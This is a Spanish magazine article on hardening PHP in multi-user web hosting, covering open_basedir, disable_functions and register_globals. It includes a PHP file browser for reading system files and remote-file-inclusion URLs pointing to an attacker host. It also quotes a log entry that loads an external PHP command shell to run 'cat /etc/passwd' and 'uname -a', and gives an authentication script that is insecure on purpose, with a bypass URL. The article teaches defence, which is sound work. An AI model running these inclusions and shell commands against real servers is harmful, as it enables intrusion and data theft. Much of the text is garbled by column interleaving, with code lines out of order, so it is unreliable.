You are on page 1of 7

068-074_Webairbag_Linuxt5 20.04.

2005 13:00 Uhr Página 68

ADMINISTRACIÓN • Seguridad PHP

PHP Seguro en entornos multiusuarios

AIRBAG PARA SERVIDORES WEBS
original photo: www.sxc.hu

Permitir que los usuarios instalen scripts PHP de forma arbitraria puede poner en peligro la seguridad del servidor web. Un pequeño error es todo lo que se necesita para que un atacante tenga acceso a los ficheros del sistema o la shell. Pero los administradores tienen una línea final de protección la cual utiliza las opciones de PHP para minimizar el riesgo. POR PEER HEINLEIN

L

a mayoría de los proveedores Web permiten en la actualidad la ejecución de scripts PHP. Los usuarios pueden ejecutar sus propias aplicaciones de servidor en el servidor - y exponerse ellos mismos a un riesgo mucho mayor del que puedan suponer. Sin embargo, PHP implica menos exposición al riesgo que los scripts CGI.

Agujero
El Listado 1 muestra un administrador de ficheros que podemos usar para comprobar el espacio web a asegurar. Después de subir el administrador de ficheros al sitio web, podemos usarlo para tener un acceso fácil al disco duro, incluido el nivel raíz, si el intérprete de PHP nos permite llegar hasta ahí. Como el intérprete se ejecuta en el mismo contexto que el servidor web Apache, podríamos tener acceso a /etc/passwd y los directorios webs de otros usuarios, incluido los ficheros ./htpasswd almacenados en esos directorios. El directorio /tmp es también interesante ya que a menudo contiene ficheros que el administrador ha olvidado, como listados de ficheros o usuarios, volcados

de la base de datos y otros ficheros con información interna. La Figura 2 muestra un posible listado. La documentación de PHP en [1] tiene ejemplos de parámetros y funciones, así como algunos capítulos sobre seguridad [2]. El antiguo pero interesante HOWTO sobre instalación de un servidor web seguro de Marc Heuse en [3] también proporciona una buena visión.

Seguridad Relativa
Si esta es la primera vez que se interesa por la seguridad en PHP, probablemente se haya dado cuenta de que en el fichero php.ini hay un parámetro, cuyo nombre suena bastante prometedor, safe_mode. Esta opción le indica a PHP que realice unas comprobaciones adicionales de seguridad. Entre otras cosas, en el acceso a los ficheros, el intérprete comprueba si el ID del usuario para el fichero es el mismo que el ID del usuario para el script invocado. Esto es un intento por parte de PHP para impedir que los usuarios lean ficheros que no les pertenezca, aunque el sistema de ficheros les de permiso para leerlos.

Sin embargo, este método tiene algunos inconvenientes. Los ficheros creados por PHP en tiempo de ejecución - imágenes subidas, ficheros caché o simplemente ficheros de un libro de visitas - normalmente tienen el ID del usuario del servidor Web, a pesar de que el script PHP tenga el ID del usuario que lo subió vía FTP. En este caso, safe_mode ocasionaría problemas de accesos. La comprobación de los permisos de los ficheros es tan sólo un pequeño paso hacia la seguridad, pero tiene poca utilidad por sí misma. El parámetro no hace honor a su presuntuoso nombre. Además, existen problemas con la implementación a veces PHP no realiza comprobaciones safe_mode correctamente. La ventaja, en realidad, puede llegar a ser una desventaja, ya que los administradores pueden pensar que están a salvo [4] y no tomar ninguna otra medida de seguridad. open_basedir proporciona más protección con menos elementos. Incluso si safe_mode funciona, aún se debería con-

68

Número 05

WWW.LINUX- MAGAZINE.ES

ini tenga la entrada open_basedir = /srv/www/htdocs. La opción open_basedir que hemos estado viendo en este artículo le indica al intérprete de PHP que compruebe si el script tiene permiso para acceder al directorio especificado además de comprobar los permisos del fichero. Figura 1: En contraste. en vez de con los privilegios del servidor Apache. Suponiendo que php. Por el contrario. si se necesita evitar que los usuarios externos lean las contraseñas de las bases de datos. Los administradores disponen de muchas más opciones con PHP. Si hay que asignar permisos de escritura para su espacio web. la lista de procesos. por ejemplo. acceso aparece siderar open_basedir como una precaución extra. Los entornos Linux se configuran típicamente para operaciones multiusuarios seguras. Y las envolturas que proporcionan Apache para las CGIs facilitan una capa más de seguridad.ES Número 05 69 . A los scripts PHP tan sólo se les permite acceder a ficheros en estos directorios (Figura 3). para los libros de visita o galerías de imágenes. incluyendo acceso al hardware y al sistema de ficheros e incluso acceso a las variables del sistema. asegurándose de que los programas CGI se ejecutan con el ID del usuario propietario. Manteniendo los Usuarios Aparte Es más o menos imposible mantener a los usuarios separados de manera que no puedan acceder a los datos de sus vecinos usando la configuración de CGI por defecto.es casi un suicidio. incluso un simple acceso de lectura de esta clase puede ser un problema. Hay que asignar al menos permisos de lectura tanto al ID del usuario del servidor web como al usuario que crea las páginas de cualquier fichero que se publique en la web. pero hay que distinguir entre los agujeros de seguridad que se puedan explotar localmente de los que se puedan explotar remotamente. El sencillo gestor de ficheros en PHP del Listado 1 es todo lo que necesitamos para darnos un paseo por el disco. Hay que poder confiar en sus usuarios para permitirles que ejecuten sus propias CGIs (Figura 1). los usuarios del servidor web aún pueden leer y escribir en los directorios de los demás usuarios. Un proceso CGI con los privilegios de accesos necesarios tiene las mismas capacidades que un proceso de usuario. Un atacante local puede ocasionar mucho más daño de lo que lo pueda hacer uno remoto y un script CGI expone al sistema a los mismos riesgos que un saboteador local.LINUX-MAGAZINE. los administradores pueden al menos impedir que los servidores FTP permitan chmod 777. Open_basedir ¿Caballero de Armadura Resplandeciente? open_basedir permite a los administradores definir una o más rutas. algunos HOWTO recomiendan chmod 777 . servidor virtual tiene resaltada en otro color. Pero en un entorno multiusuario. a menos que los permisos de los ficheros UNIX impidan que lo hagan. los scripts PHP se ejecutan en una caja de arena proporcionada por el intérprete de PHP como un componente del servicio Apache.068-074_Webairbag_Linuxt5 20. El navegador de ficheros del Listado 1 CGI y PHP Un programa CGI se ejecuta en el servidor como un proceso independiente. Con algo de esfuerzo adicional. Esta restricción al $HTDOCROOT de Apache impide el acceso al disco entero. es mucho más difícil conseguir los permisos de los ficheros en un servidor web que en una aplicación de escritorio. Además. como un componente del servicio Apache. PHP devolverá un error ante cualquier intento por acceder a un fichero que esté fuera de este directorio. La zona del sistema de ficheros a la que el Figura 2: Un script de PHP accede libremente a un servidor inseguro. que completamente abre los directorios y que por desgracia ha sucedido anteriormente en algunos servidores. WWW. los scripts PHP se ejecutan en una caja de arena proporcionada por el intérprete de PHP. sin embargo.04.2005 13:00 Uhr Página 69 Seguridad PHP • ADMINISTRACIÓN Figura 3: open_basedir permite a los administradores restringir los scripts PHP a los ficheros del espacio reservado del servidor. la lista de usuarios y a muchas otras cosas más.

62 print " [ uid: $uid..</a><br>". Después de aplicar el nuevo nivel de seguridad y rearrancar el servidor web Apache. PHP La línea 10 de nuestro ejemplo permite el acceso al directorio /usr/share/php además de las carpetas en el dominio /srv/www/htdocs/www. mode: writeable " : "". 21 fclose($file). Validación de Entrada Los administradores a menudo subestiman el riesgo que una configuración insegura lleva asociada y de la clase de Listado 1: Administrador de Ficheros 01 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.</a><br>". $_SERVER['PHP_SELF'] 37 . el script PHP tiene acceso a pesar de las restricciones de open_basedir. 27 $dir = opendir($path). $stat = stat($filepath). $_SERVER['PHP_SELF'] .com. que proporciona acceso global de escritura.0 -. 4096). Esto no es una configuración para un entorno seguro. } } else { print "<a href=\"" . Si esto no fuera así. // Si fichero. PHP puede usar el parámetro php_admin_value en la definición del host virtual de Apache para imponer las restricciones necesarias (Listado 2). mostrar listado de directorio 26 print "<pre><b>Content of $path</b><br><br>". como se muestra en la Figura 4. "?path=" . 28 while($file = readdir($dir)) { 29 30 31 32 $filepath = $path . "\">. Como la configuración para upload_tmp_dir especifica un directorio bajo srv/www/htdocs/www. // listar atributos fichero $mode = (is_writeable($filepath)) ? ". 22 exit. 23 } 24 25 // Si path.ES .0 02 Transitional//EN"> 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 <html><head><title> Filebrowser v1. o usuario. print htmlentities($line.068-074_Webairbag_Linuxt5 20. "?path=$path\">.04. upload_tmp_dir apunta al directorio /tmp.</a><br>". 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 } else { print "<a href=\"" . Afortunadamente.strrpos($path.ENT_QUOTES). rawurlencode($file) . el servidor denegará el acceso a los directorios de los otros usuarios. 38 elseif($file == ". (($path == "/") ? "" : $path) . elseif(is_file($filepath)) print "[FILE] ". 68 } else { 69 70 71 72 74 75 76 77 ?> <form action="" method="get"> Directory?<br> <input type="text" name="path"> <input type="submit" value="display"> </form> <? } 33 else print " ". elseif(is_link($filepath)) print "[LINK] "."/")) . "?path=" ."/")) == "") 40 { 73 <br><br> 78 ?> 79 </body> 80 </html> 70 Número 05 WWW.strrpos($path.com. size: 63 $size $mode]". $_SERVER['PHP_SELF'] .example.0. El directorio contiene las bibliotecas comunes de PHP y los paquetes PEAR (PHP Extension and Application Repository). "/" . Apache vs.example. 64 } 65 } 66 closedir($dir).Peer Heinlein </title></head> <body> <? if(isset($_GET['path'])) { // Leer variables si register_globals=off $path = $_GET['path'].. gid: $gid. 34 35 if($file == ". substr($path. la línea 10 también necesitaría incluir la ruta al directorio. 60 $gid = $stat[5]. while (!feof($file)) { $zeile = fgets($file. para restringir el acceso a un directorio único.") 36 print "<a href=\"" .MAGAZINE.0. 67 print "</pre>". $uid = $stat[4]. hay que separarlos por puntos y comas. if(is_dir($filepath)) print "[DIR ] ". 20 print "</pre></body></html>". "?path=/\">. La manera de manejar esta situación es crear un open_basedir para cada dominio albergado.LINUX. $file.2005 13:00 Uhr Página 70 ADMINISTRACIÓN • Seguridad PHP sería capaz de producir el resultado de la Figura 2.") { 39 if(substr($path. } 41 print "<a href=\"" . "/" . $_SERVER['PHP_SELF'] 42 . mostrar contenido if(is_file($path)) { $file = fopen($path. "\">$file</a>".. 61 $size = $stat[7]. print "<pre>"."r"). Para poner varios directorios. Es importante que se asigne un directorio temporal a cada dominio (línea 12) y que se guarde la información de cada sesión de forma individual para cada dominio (línea 13). Por defecto.

example. los atacantes remotos pueden subir sus propios códigos PHP al servidor y ejecutarlos. La opción open_bassedir es una buena forma para conseguirlo. Un ataque por “inyección código” podría afectar a un programador de PHP despreocupado.com 05 ErrorLog /var/log/httpd/www. Pero no hay que suponer que los atacantes están restringidos a los enlaces de los ficheros del dominio. el servidor podría ejecutar el comando del atacante cuando otro usuario vea la entrada.example. Los atacantes tan sólo veran los ficheros en el dominio vulnerable.example.LINUX. La URL manipulada contiene la dirección del servidor del atacante: http://www. sin la necesidad de acceder por FTP al espacio web.htpasswd HTTP y Código Malicioso Los scripts PHP que no manejan los IDs de las páginas de forma correcta. PHP puede proteger los datos que el script ha obtenido (usando GET. El peligro real no es una cuestión de confiar en los usuarios legítimos. De hecho.com 03 DocumentRoot /srv/www/htdocs/www.168. Gracias a open_basedir.example. suelen preparar las inclusiones de los ficheros de forma poco cuidadosa y son un objetivo fácil para los atacantes. se conoce como “inyección de código”. Es difícil para los administradores impedir que esta clase de ataques ocurran en sus servidores webs.com/tmp 14 php_admin_value session.txt Manipulando la URL se puede obtener información que el servidor Apache no proporciona por buenas razones: http://www.com:/usr/share/php Al menos los administradores pueden confiar en que open_basedir impida que otros usuarios accedan a estos datos.com-access_log combined 07 08 09 10 11 # open_basedir restringido a DocumentRoot. Impide que el código PHP inyectado pueda expandirse por los datos de otros usuarios. La técnica que permite a los usuarios de la web añadir su propio código manipulado a los libros de visitas mal implementados. lo insertará en un punto adecuado y lo ejecutará.attacker. a las librerías PHP # y posiblemente al directorio PHP-tmp php_admin_value open_basedir /srv/www/htdocs/www.068-074_Webairbag_Linuxt5 20. PHP impide accesos no autorizados al listado del directorio del script (véase la Figura 2).example. La siguiente URL muestra como un sencillo script index. el servidor comprometido cargará este código. Es trabajo de los administradores el mitigar los daños colaterales. En algunos casos.comU /hackcode.example. como una ruta para el comando PHP include: http://www. El comando PHP include también maneja URLs por defecto y usará FTP o HTTP para cargar ficheros PHP.php 12 # seguridad adicional suministrados por rutas individuales por dominio 13 php_admin_value upload_tmp_dir /srv/www/htdocs/www. Sin embargo.ini se encarga de ello.04.example. Una configuración global llamada magic_quotes_qpc=on del php.comU /cms/index. es el trabajo de los programadores validar y eliminar las entradas peligrosas: véase el cuadro “Programación PHP segura”. Las aplicaciones deberían devolver solamente texto ASCII. los atacantes pueden evitar ser descubiertos incluyendo etiquetas de cierre que engañen al intérprete de PHP haciéndole creer que ha llegado al final del libro de visitas y añadir el código dañino.2005 13:00 Uhr Página 71 Seguridad PHP • ADMINISTRACIÓN usuarios de la que tienen que protegerse. opción no reemplaza el grado de paranoia que deberían tener los programadores de PHP.comU /cms/index. La Figura 5 muestra este procedimiento.com/html 04 ServerName www.example.ES Número 05 71 .com-error 06 CustomLog /var/log/httpd/www. pero incluso entonces.save_path 15 /srv/www/htdocs/www.example. registros web u otros campos de entradas.example. Pero esta Figura 4: Esta es la clase de mensaje de error que cualquier administrador aprecia. Si la aplicación de servidor simplemente pasa al libro de visitas la entrada sin realizar una validación de la entrada.php acepta la variable $id Listado 2: Open_basedir por dominios 01 <VirtualHost 192.php? id=http://www. Si un atacante manipula la URL y hace que apunte a algún código PHP de un servidor web remoto.MAGAZINE. POST o las cookies) escapando las comillas peligrosas y de esta forma mitigar el riesgo. pero no debería permitirse que dañe al resto de usuarios inocentes del servidor.99.99:80> 02 ServerAdmin webmaster@example.php? U id=intern/.php? U id=info/appointments.comU /cms/index.com/session 16 </VirtualHost> WWW.

2005 13:00 Uhr Página 72 ADMINISTRACIÓN • Seguridad PHP Para remediar este problema se puede usar el parámetro de php. No hay que escribir el código que valide las entradas por uno mismo: PHP cuenta con addslashes(). cmd. línea 2). debería comprobar que el nombre de fichero empieza por un punto y renombre cualquier dato sensible que empiece por un punto. el directorio home y la 72 Número 05 WWW. independientemente de su forma (URL. Regla número 1: No confiar en nadie. La llamada también pasa un comando de la shell de UNIX para pedirle al sistema operativo el tiempo de ejecución. Sino que alguien ha intentado ejecutar comandos del sistema en su máquina. puerto de destino 80). U phpinfo. Valide todas las entradas de los usuarios Todas las entradas de usuario. para antes de terminar añadir el contenido de /etc/passwd. La entrada podría incluir al final “. por ejemplo.ini: disable_functions = system. Los atacantes podrían entonces inyectar un comando SQL para terminar los datos que el programa pasa a la base de datos MySQL e insertar código malintencionado en este punto (SQL injection). cuya ruta debería estar ya puesta en las sentencias de inclusión.pwd. Nunca confie en una variable que no haya asignado usted mismo Antes de usar una variable. impida que su servidor web solicite peticiones FTP externas o fuentes HTTP (salida de datos TCP al Al comprobar los ficheros de registros de muchos servidores web se revela que hay hackers que sistemáticamente buscan vulnerabilidades en los sitios webs. es el programador de PHP el responsable de la seguridad del sitio web.txt. shell_exec y passthru permiten a los scripts de PHP lanzar comandos Linux Programación PHP Segura Más que nadie. La función regexp debería impedir la aparición de . passthru. La cadena %20 es el carácter espacio codificado en formato URL: http://www. 3. 2. show_source La Shell PHP El script cmd. en los nombres de ficheros. Si el sitio web muestra cualquier clase de información que el atacante desea ver. Las expresiones regulares proporcionan una manera fácil de validar las entradas.htpasswd o el fichero con las contraseñas de sus bases de datos MySQL.ES . desde http://farpador/ubbi. si se busca =http:// en su propio fichero de registro.LINUX. • Si es posible.cat%20/proc/U version. Por ejemplo. hay bastantes ficheros en su propio sitio web que no deberían ser accesibles al público en general.txt (cmd. De otra manera. El hecho de que una URL maliciosa aparezca en los ficheros de registro no significa necesariamente que haya sido hackeado. asegúrese de que la inicializa con un valor conocido (Listado 4.br. El script espera un parámetro. Gracias a Google. U exec.txt?&cmd=uname%20-U a. quote_meta() y mysql_real_escape_string() para escapar a estos caracteres especiales y strip_tags() para eliminar las etiquetas HTML y PHP. debería seguir los siguientes pasos: • En el cortafuegos. Compruebe las rutas de los ficheros antes de incluirlos Aunque los accesos a rutas externas estén restringidos por la opción open_basedir. • Explique los principios de programación PHP cuidadosa a sus usuarios. lo que ocasionaría que el interprete de PHP ejecutaría cualquier código PHP que le siguiese (Inyección de código PHP). debería comprobar si se permite incluir el fichero. Su mejor opción es permitir sólo los caracteres inofensivos.04.php) es interesante. el ID del usuario.php?id=http: U //farpador.com.id. PHP tiene una opción útil que deshabilita los comandos peligrosos en el intérprete de PHP. Si necesita utilizar conexiones HTTP para actualizaciones de Linux o del antivirus. access de Apache podría encontrar casos sospechosos que valdría la pena investigar.068-074_Webairbag_Linuxt5 20.”. U /sbin/ifconfig|U grep%20inet. exec. El intérprete supondrá que “.cat%20U /etc/passwd Las palabras reservadas system. En particular.com.” termina la entrada.br/U cmd. Cuando se crean sitios webs. URLs sospechosas Los administradores ocasionalmente deberían copiar las URLs sospechosas en sus navegadores y comprobar cómo se comportan sus sitios webs frente a estos ataques. Si lo realiza con éxito. añada lo siguiente en el fichero php. un register_globals=off permitirá a un atacante manipular sus variables. Pero una ocurrencia de esta cadena en su sitio web es un síntoma de que algo puede ir mal. cmd e intenta usar exec() o system() para ejecutar el parámetro como un comando Linux. Los atacantes pueden usar la barra de direcciones del navegador para introducir comandos UNIX. Una mala comprobación permitiría a un atacante sustituir las rutas. el script debería comprobar posibles etiquetas HTML no autorizadas o código de programa PHP en el texto introducido. entonces debería proponerse echar unas cuantas horas extras reconfigurando el servidor. debería restringir estas conexiones a la página web de dichas empresas. ingenioso y uno de los mejores amigos de los hackers.heinlein-support. Si su script hace uso de un parámetro que le indique la ruta para el fichero que se va a incluir.. por ejemplo.shell_exec. Si le sucede esto.ubbi. como se da en los servicios de traducción o en anonimizadores para otros sitios webs. La siguiente entrada en mi propio fichero de registro muestra lo que sucede si falla a la hora de proteger su servidor.ini: allow_url_fopen_= no dirección IP.deU /index. Si esto no funciona. . el encontrar bastantes URLs interesantes no es ningún problema para los posibles atacantes.uptime. cookie o basadas en formularios) deberían ser validadas por sus scripts antes de almacenarse. sígase estas reglas: 1. deshabilite la ejecución de comandos del sistema en PHP. Parámetros con URLs completas no son necesariamente sospechosas. Esta URL intenta cargar la shell PHP. le suministra al atacante una shell flexible. Los ficheros a incluir deberían estar ubicados en un subdirectorio previamente definido.MAGAZINE. Para deshabilitarlo.

Pero incluso si realmente necesita permitir la función exec(). incluyendo posiblemente las claves de sus bases de datos.04.2005 13:00 Uhr Página 73 Seguridad PHP • ADMINISTRACIÓN Listado 3: Script inseguro 01 <? 02 if($username == "tux" && 03 $password == "blabla") { 04 $auth = 1. Las . Deshabilitando funciones PHP La protección open_basedir realmente no funciona hasta que no se deshabiliten estas funciones. Recuerde que Los administradores pueden usar el php. 05 } 06 07 if($auth == 1) { 08 print "Área Interna ". La función show_source se utiliza poco y no tiene sentido usarla en un entorno de producción. 05 06 if($uid == "tux" && $pwd == 07 "blabla") { 08 $auth = 1.068-074_Webairbag_Linuxt5 20.ini para asignar un directorio donde ejecutar los programas Linux (o enlaces simbólicos a las herramientas permitidas). 04 $pwd = $_GET['password']. coloreando el código de sus scripts para hacer la lectura de los mismos más confortable. casi cualquier script se debería hacer sin necesitad de usar los comandos de Linux. de hecho. 15 } 16 ?> A algunas personas les gusta ejecutar phpinfo() para mostrar los detalles del servidor web. Aunque esta información es inofensiva en sí misma y los valores por defecto son conocidos. ". Estas funciones PHP no se requieren habitualmente en un servidor web normal. 09 } 10 11 if($auth == 1) { 12 print "Área Interna externos con los privilegios del servidor web. ya que ofrece a los hackers sus scripts PHP en bandeja de plata. Esto al menos impide que los scripts PHP ejecuten programas arbitrarios. 03 $uid = $_GET['username']. cualquier rastro de información que un atacante pueda conseguir en su búsqueda de vulnerabilidades podría ser decisiva. 11 } 12 ?> los comandos Linux no saben nada acerca de las restricciones PHP y podrán abrir cualquier fichero que sea accesible para el servidor web. 09 } else { 10 p r i n t " L o s i e n t o : A c c e s o Denegado". 13 } else { 14 p r i n t " L o s i e n t o : A c c e s o Denegado". Se necesita activar safe_mode para realizar esto. aún hay una forma de protegerse: safe_mode_exec_dir = U /srv/www/bin Listado 4: Script seguro 01 <? 02 $auth = 0.

esta característica para evaluar y usar los [4] Crítica a PHP safe_mode: http://ilia. $_POST o de dolores de cabeza.04. si se necesitara. aunque sus accesible desde el exterior. que es 18_PHPs_safe_mode_or_how_not_to_ implement_security.example. pasar de un servidor con http://www. Y los usuarios tendrían esta El parámetro auth sin datos del login Postfix. $password: A causa de todos los cambios que hay net/docs. Al mismo tiempo.example. El script en el Lisarchives/ esfuerzo. Incluso podría proteger por medio de una conregister_globals=off Conclusión traseña el acceso a este fichero para restringir el acceso a esta información. debería crear un fichero nistrador podría evitar también esta vultra ninguna herramienta nueva para forHTML estático con la salida de nerabilidad: talecer la seguridad de su servidor. estableciendo ción de información y en register_globals=off. “inyectar” su propio código en la página.068-074_Webairbag_Linuxt5 20. inofensiva comprobación de la línea 6 temas de detección de intrusiones Los servidores web nuevos tendrían supondrá que el usuario está autentifien Open Source Press.de.LINUX. Esto bales reservados $_GET.com U dor de Servicios de tiempo.index. $auth=0. Esta configuración impide que PHP Unos sencillos pasos es todo lo que se almacene los parámetros de la URL en necesita para proporcionar a sus usuaAlmacenamiento Variables variables.php que realizar en los scripts PHP.2005 13:00 Uhr Página 74 ADMINISTRACIÓN • Seguridad PHP scripts PHP favoritos no buenas costumbres dictan volverán a funcionar más que los administradores en el servidor por falta de deben evitar que cualquier un buen estilo de prograinformación interna sea mación.ES EL AUTOR .suse.php. Las medidas evita errores de programación y fuerza a $_COOKIE para evaluar los parámetros. El programador de PHP debería de Peer. enseña y forma administradores y este tema con los usuarios.php register_globals=on a register_glo/index. se podría establecer /index. s más limpio.php?username= U [3] Marc Heuse. Como se dijo. Entonces. el admi- 74 Número 05 WWW. ya que protege a los progratado 3 parece.MAGAZINE.ini. rompe la rios la clase de seguridad que necesitan. phpinfo(). Anunciando el cambio con guiente URL para adivinar la contraseña: Peer Heinlein ha antelación para darle la oportunidad a ejercido de Proveelos usuarios de revisar su código con http://www. La empresa que desactivar esta opción.ws/ Pero definitivamente. exponiendo PHP están al tanto de que información valiosa a los la Web es un lugar poco ojos de cualquiera que se amigable y se las han tome la molestia de arreglado para cambiar el recogerla. consulta de la contraseña en la línea 2. PHP5 no suminisvez de ello. Debería procurar completar el cambio en pero un atacante podría teclear la sivarios pasos. Si se le pide que lo haga. register_globals=off durante unas cuanAparte de su libro de tas horas.php Los desarrolladores de por el sitio. aunque cado. Figura 5: Los scripts PHP mal programados permiten a los atacantes comportamiento por Para estar seguro. La siguiente URL asignaría el valor Register_globals tux a la variable $username y southpole a [1] Documentación PHP: http://www. una forma inofensiva de autenticación. “Installing a Secure Web bals=off. La supuesta licado otros dos libros en “LPIC-1” y “Snort” Sisy corregir los errores. tante difícil.php?auth=1 Internet desde 1992. a primera vista.de/de/ jan y no comprenden por qué tienen que private/support/online_help/howto/ cambiar sus scripts que hasta ahora funUn programa mal diseñado emplearía secure_webserv/ cionaban correctamente.heinlein-support. Peer ha puboportunidad para comprobar sus scripts revelará datos internos. scripts tuvieran 9. descritas en este artículo deberían ser los programadores a generar un código El Listado 4 muestra un script más elaboparte de su postura de seguridad.5 de 10 Muchos de los usuarios de puntos de sus adorables espacios webs dejan usuarios. bals=on significa que PHP creará variables para reflejar los parámetros de la RECURSOS El Efecto de Deshabilitar URL. PHP cardefecto de la versión 5. debería deshabilitar la fungará este código desde un servidor Web remoto.com U php. Algunos al comienzo del script o añadir una rama proporciona consultoría y servicios usuarios de su red podrían no ser else a la condición para proporcionar un de soporte en toda Europa. Establecer register_glorado que soluciona esto. Muchos de los problemas actuales simAdemás debería añadir la línea El script necesitará usar los arrays gloplemente desaparecen sin la necesidad register_globals=off en php. Los usuarios a menudo se quetux&password=southpole Server”: http://www. capaces de comprender por qué sus estado definido.html madores de su propia ignorancia. vale la pena el parámetros de la URL.net/manual/de/security. ficheros como phpinfo. debería estar preparado para discutir tener la variable inicializada. www. es bas[2] Manual de Seguridad PHP: http://de2.